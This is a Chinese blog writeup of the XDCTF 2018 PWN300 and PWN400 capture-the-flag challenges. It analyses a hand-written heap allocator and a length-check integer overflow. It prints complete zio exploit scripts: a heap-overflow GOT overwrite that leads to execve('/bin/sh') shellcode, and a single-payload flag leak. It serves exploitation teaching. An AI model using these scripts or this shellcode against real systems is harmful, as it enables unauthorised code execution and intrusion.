XDCTF PWN300&400 Writeup

原创

zh_explorer 于 2018-05-14 11:08:06 发布 532 收藏

分类专栏： pwn 没事撸题

本文链接：https://blog.csdn.net/zh_explorer/article/details/80307039

pwn 同时被 2 个专栏收录

8 篇文章 2 订阅

订阅专栏

没事撸题

3 篇文章 0 订阅

订阅专栏

打了2天的XDCTF，被Reverse的题目教做人了。Sad （T.T）

到是pwn的题目基本打通了，除了最简单的pwn100 （T.T）

pwn300和pwn400比较简单，所以writeup我就放在一起了。

PWN300

做完PWN300，感觉不会再有女朋友了T.T

就不吐槽猥琐的出题人了，直接开始分析程序。

checksec后发现竟然没有开nx，直接shellcode先准备好，放在一边待命。

按照国际管理，先从主函数开始。一看主函数有5个case，分别是add，delete，edit，show，exit。咋感觉这么眼熟，和我自己写的堆管理漏洞大礼包demo这么像？莫非也是堆管理的漏洞？

```
  while ( v4 != 5 )
  {
    sub_80485C4();
    __isoc99_scanf("%d%*c", &v4);
    switch ( v4 )
    {
      case 1:
        add();
        break;
      case 2:
        delete();
        break;
      case 3:
        edit();
        break;
      case 4:
        show();
        break;
      case 5:
        exit(0);
        return result;
      default:
        puts(byte_8048E9D);
        break;
    }
  }
  return 0;
}
```

继续看代码，发现整个程序完全没有使用malloc和free等等c语言库函数来实现堆管理。但是输入的数据确实都是储存在的堆段上，而且在本来应该调用堆管理函数的地方，变成了一些奇怪的函数。

```
int __cdecl face_malloc(int type)
{
  int result; // eax@12
  int v2; // ST24_4@14
  int pHeap; // [sp+18h] [bp-20h]@1
  void *pHeapa; // [sp+18h] [bp-20h]@9
  int i; // [sp+1Ch] [bp-1Ch]@9
  int v6; // [sp+28h] [bp-10h]@14
  int v7; // [sp+2Ch] [bp-Ch]@14
  int typea; // [sp+40h] [bp+8h]@1

  typea = type + 16 - (((_BYTE)type + 16) & 0xF) + 16;
  for ( pHeap = dword_804C000;
        pHeap && (*(_DWORD *)pHeap < (unsigned int)typea || *(_DWORD *)pHeap & 1);
        pHeap = *(_DWORD *)(pHeap + 4) )
    ;
  if ( pHeap )
  {
    if ( (unsigned int)(*(_DWORD *)pHeap - typea) <= 0x10 )
    {
      *(_DWORD *)pHeap |= 1u;
      result = pHeap + 12;
    }
    else
    {
      v2 = *(_DWORD *)(pHeap + 8);
      v6 = *(_DWORD *)(pHeap + 4);
      v7 = typea + pHeap;
      *(_DWORD *)(typea + pHeap + 8) = pHeap;
      *(_DWORD *)(v7 + 4) = v6;
      *(_DWORD *)v7 = *(_DWORD *)pHeap - typea;
      if ( v6 )
        *(_DWORD *)(v6 + 8) = v7;
      *(_DWORD *)(pHeap + 4) = v7;
      *(_DWORD *)pHeap = typea;
      *(_DWORD *)pHeap |= 1u;
      result = pHeap + 12;
    }
  }
  else
  {
    if ( (unsigned int)typea < 0x410 )
      typea = 1040;
    pHeapa = sbrk(typea);
    *((_DWORD *)pHeapa + 1) = 0;
    *(_DWORD *)pHeapa = typea;
    for ( i = dword_804C000; *(_DWORD *)(i + 4); i = *(_DWORD *)(i + 4) )
      ;
    *(_DWORD *)(i + 4) = pHeapa;
    *((_DWORD *)pHeapa + 2) = i;
    *(_DWORD *)pHeapa |= 1u;
    result = (int)((char *)pHeapa + 12);
  }
  return result;
}
```

又长又难懂，本来应该是malloc的地方变成了这个东西。不过稍微分析一下就会发现这东西和malloc的行为几乎是一致的，所以可以判断在这个程序中出题人自己实现了堆管理。当然，这个堆管理的行为是比较naive的。只有一种内存块结构，没有相应的溢出或者double free的检查，delete函数还写错了，根本不能实现程序原有的功能。
（~~。。累不累啊，还不如直接拿最新版glibc的函数来，还有堆溢出的检查，感觉难度还能增加不少。而且，一旦被人发现是自己模拟的堆管理，就没人再看代码了，直接用gdb看看chunk头的指针一下子就可以分析出整个堆管理的行为~~）

直接gdb动态调试，看一看堆的结构，和当初老版本glibc的堆管理很像。chunk头部分是一个dword的大小变量和2个指针，用双向链表来查找和访问内存块，基本上是照搬的glibc堆管理。

然后在分析过程中很容易就找到了可以溢出的地方。在edit girl函数中可以再次选择输入数据的大小，而且可以比当初add创建的时候长，明显的堆溢出。

因为没有开nx防护，利用方法同样参照老版本堆溢出后free时发生dword shoot该got表，然后直接挑shellcode。wooyun知识库或者HDUISA的wiki上都有相关文章的介绍，这里就不多说了。

这里我们把shellcode写在堆上，程序在读取我们输入的时候不会在末尾加`\0`.所以很容易就可以leak出堆地址。

具体利用的poc如下

```
from zio import *

io = zio('/home/explorer/nameless/temp/xdctf-pwn300')
#io = zio(("192.168.1.105",7777))

addr_scanf = 0x0804B024          #这里我把got表中scanf函数的地址篡改成shellcode
shellcode = 'aaaaaa\xeb\x04\x41\x41\x41\x41\x68\x2f\x73\x68\xff\x68\x2f\x62\x69\x6e\x8d\x1c\x24\x31\xc0
shellcode += '\x43\x07\x50\x53\x89\xe1\x8d\x51\x04\x83\xc0\x0b\xcd\x80\x31\xc0\x40\x31\xdb\xcd\x80'
#因为shellcode 的offset 0x08处会被程序给覆盖，所以需要用jmp跳过，然后用'aaaaaa'来填充不需要的部分

payload = shellcode + '\x90'*(0xe0-12 - len(shellcode))     #payload 最长，用nop填满

io.read_until("Choice:")
io.writeline("1")               #add girl
io.read_until("Girl:")
io.writeline("1")               #girl type 1, len 200,  id 0


io.read_until("Choice:")
io.writeline("1")               #add girl
io.read_until("Girl:")
io.writeline("1")               #girl type 1, len 200,  id 1

io.read_until("Choice:")
io.writeline("1")               #add girl
io.read_until("Girl:")
io.writeline("1")               #girl type 1, len 200,  id 2

io.read_until("Choice:")
io.writeline("1")               #add girl
io.read_until("Girl:")
io.writeline("1")               #girl type 1, len 200,  id 3

io.read_until("Choice:")
io.writeline("3")               #edit a girl
io.read_until("edit:")
io.writeline("1")               #edit girl id 1
io.read_until("edit:")
io.writeline("2")               #change type to 2 len 400,overflow
```

```
io.read_until("Girl:")
io.write('a'*(0xe0-8))        #full the chunk to leak heap addr

io.read_until("Choice:")
io.writeline("4")              #show girl
io.read_until("print:")
io.writeline("1")              #show girl id 1,and leak heap addr

io.read(0xe0-7)
addr_shellcode = l32(io.read(4))
print hex(addr_shellcode)
addr_shellcode = addr_shellcode - 0x2b0 + 0xfc      #now we got shellcode's addr

io.read_until("Choice:")
io.writeline("3")              #edit a girl
io.read_until("edit:")
io.writeline("1")              #edit girl id 1
io.read_until("edit:")
io.writeline("2")              #change type 2
io.read_until("Girl:")
#io.write('\x90'*(0xe0-12) + l32(addr_shellcode) + l32(addr_scanf-4))
io.writeline(payload + l32(addr_shellcode) + l32(addr_scanf-4))            #enter our shellcode and ov

#b *0x08048860
#raw_input("wait to debug")

io.read_until("Choice:")
io.writeline("2")              #delete a girl
io.read_until(" delete:")
io.writeline("2")              #free the girl id 2 to dword shoot

#when call scanf,our shellcode will execute

print "now we get shell"
io.interact()
```

自己不会写shellcode，所以shellcode是找大神要来的，膜拜苏大神Orz

```
__start:
jmp CONTINUE;
dd  'AAAA'
CONTINUE:
push    0xff68732f
push    0x6e69622f
lea     ebx, [esp]                ;ebx -> calling
xor     eax, eax
mov     byte[ebx+7], al
push    eax
push    ebx                       ;stack: [sz][0][sz]
mov     ecx, esp                  ;ecx->the same
lea     edx, [ecx+4]              ;edx->0
add     eax, 11
int     0x80
xor     eax,  eax
inc     eax
xor     ebx, ebx
int     0x80
;nasm -f elf32 shellcode.asm -o asm.o && objdump -d asm.o | cut -f2
```

PWN400

个人感觉PWN400的难度其实还不如300.只是程序中的各种奇葩长度检查让人比较头痛一些。把整个程序理清楚之后，很快就能搞定。

程序运行的时候，flag是已经被读到内存当中的，所以我们需要的就是把他读出来。

主要的漏洞嘛，就是程序长度是我们输入的，然后检查的时候自己作死加了个2。整形溢出bug。只要payload符合要求，长度是0xfffff，直接拿到flag。

```
from zio import *
io = zio(("159.203.87.2",8888))

payload = 'a'*0x10 + "PK" + l16(0x0201) + 'a'*0x18 + l32(0xffff) + 'a'*(0x66)
io.readline()
io.write(payload)
io.read()
```

一次交互，一条payload搞定，python解释器里手打其实都可以。